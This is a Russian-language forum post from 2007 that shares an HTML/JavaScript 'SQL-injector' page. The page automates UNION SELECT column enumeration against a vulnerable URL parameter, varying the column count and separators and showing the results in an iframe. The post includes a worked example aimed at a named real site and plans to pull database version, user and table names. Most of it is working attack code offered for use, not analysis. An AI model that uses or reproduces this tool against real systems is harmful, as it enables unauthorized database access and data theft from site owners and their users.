Показать сообщение отдельно

  #17  
Старый 23.10.2007, 16:49
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
С нами: 10467746

Репутация: 4738


По умолчанию

Модернизировал подборщик столбцов (только свою часть скрипта!)
Добавлено:
- возможность ввода начального (предполагаемого) количества столбцов.
- инкремент, декремент на 1.
- возможность указания разделителя и начального параметра:
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<
html xmlns="http://www.w3.org/1999/xhtml"> 
<
style>  
  
body  
  
{   
   
padding:10px;   
   
background:#2A2E33;   
   
font-family:tahoma, verdana, arial;   
   
font-size:14px;   
   
text-align:center;   
   
color:#B9B9BD;   
  
}  
  
form  
  
{   
   
padding:10px;  
   
border:1px solid #666;   
   
width:700px;   
   
margin:0 auto;   
  } 
  
iframe 
  
{   
   
padding:10px;  
   
border:1px solid #666;   
   
width:700px; 
   
height:500px;   
   
margin:0 auto;   
  }  
  
input  
  
{   
   
vertical-align:middle;   
   
margin:1px 0;   
   
padding-right:10px;   
   
border:1px solid #336600; 
   
padding:2px;   
   
background:#363940;   
   
color:#B9B9BD;   
  
} 
  
div  
  
{   
  
display:none;   
  }     
  </
style>  
<
head> 
<
meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
<
title>JavaScript SQL-injector by -=lebed=-</title> 
</
head> 

<
script> 
var 
sp = new Array(); /*сепаратор.*/
sp[0]="+";
sp[1]="/**/";
sp[2]=" ";

var 
url="http://"; /*целевой URL*/
var tek_url=url; /*текуший URI*/
var s=""; /*накопитель*/
var n=0; 

function 
get_url(f) {
      
url=document.search.url.value;
      
n=1;    
      
s="1";
      
b=document.search.separator.value;
      
p=document.search.parametr.value;        
while (
n<document.search.colum.value)
      {
      
n++;
      if (
n==1) {s=n;} 
      else {
s=s+","+n;}
       
      } 
      
tek_url=url+p+sp[b]+"union"+sp[b]+"select"+sp[b]+s+"/*";
      
document.search.tek_url.value=tek_url; 
      
document.search.colum.value=n;     
      
changePage(tek_url); 
      
pause (); 
}

function 
inc(f) {
    
document.search.colum.value++
    
get_url(f)
}
     
function 
dec(f) {
     
document.search.colum.value--
     
get_url(f)
}

function 
changePage(p) { 
        
document.getElementById( "ifrm" ).src = p; 
     } 

</
script> 
<
form name=search method=post> 
  <
label>Ведите путь до уязвимого скрипта 
  
<input name="url" value="http://" size=110%> 
  </
label><br> 
  
параметр: <input size=5 name=parametr value="-1">
  
разделитель: <select name=separator>
              <
option value=0 selected>+
              <
option value=1>/**/
              
<option value=2>пробел
              
</select>
  
колонок: <input size=5 name=colum>
  <
input onClick=inc(search); type=button value="+" name=calculateit>
  <
input onClick=dec(search); type=button value="-" name=calculateit>
  <
input onClick=get_url(search); type=button value="ОК" name=calculateit><br>
  
текущее значение: <input name=tek_url size=110% readonly>

</
form> 
<
body onload="changePage()"> 
    <
iframe id="ifrm" src="" width="100%" height="500%"/> 
  </
body> 

</
html> 
Пример:
Цитата:
Путь до скрипта: http://ru-board.com/new/print.php?
Параметр: sid=-1
Разделитель: +
Вводим, например, Колонок:3 и нажимаем ОК, далее делаем инкремент (жмякаем "+") 3 раза -> получаем вывод полей. (всего 6 столбцов)

В планах:
- вывод полезной инфы из отображаемого столбца (user(), version() и т.д.)
- подстановка в запрос имён таблиц и столбцов из словаря (списка).

Последний раз редактировалось -=lebed=-; 23.10.2007 в 17:04..
 
Ответить с цитированием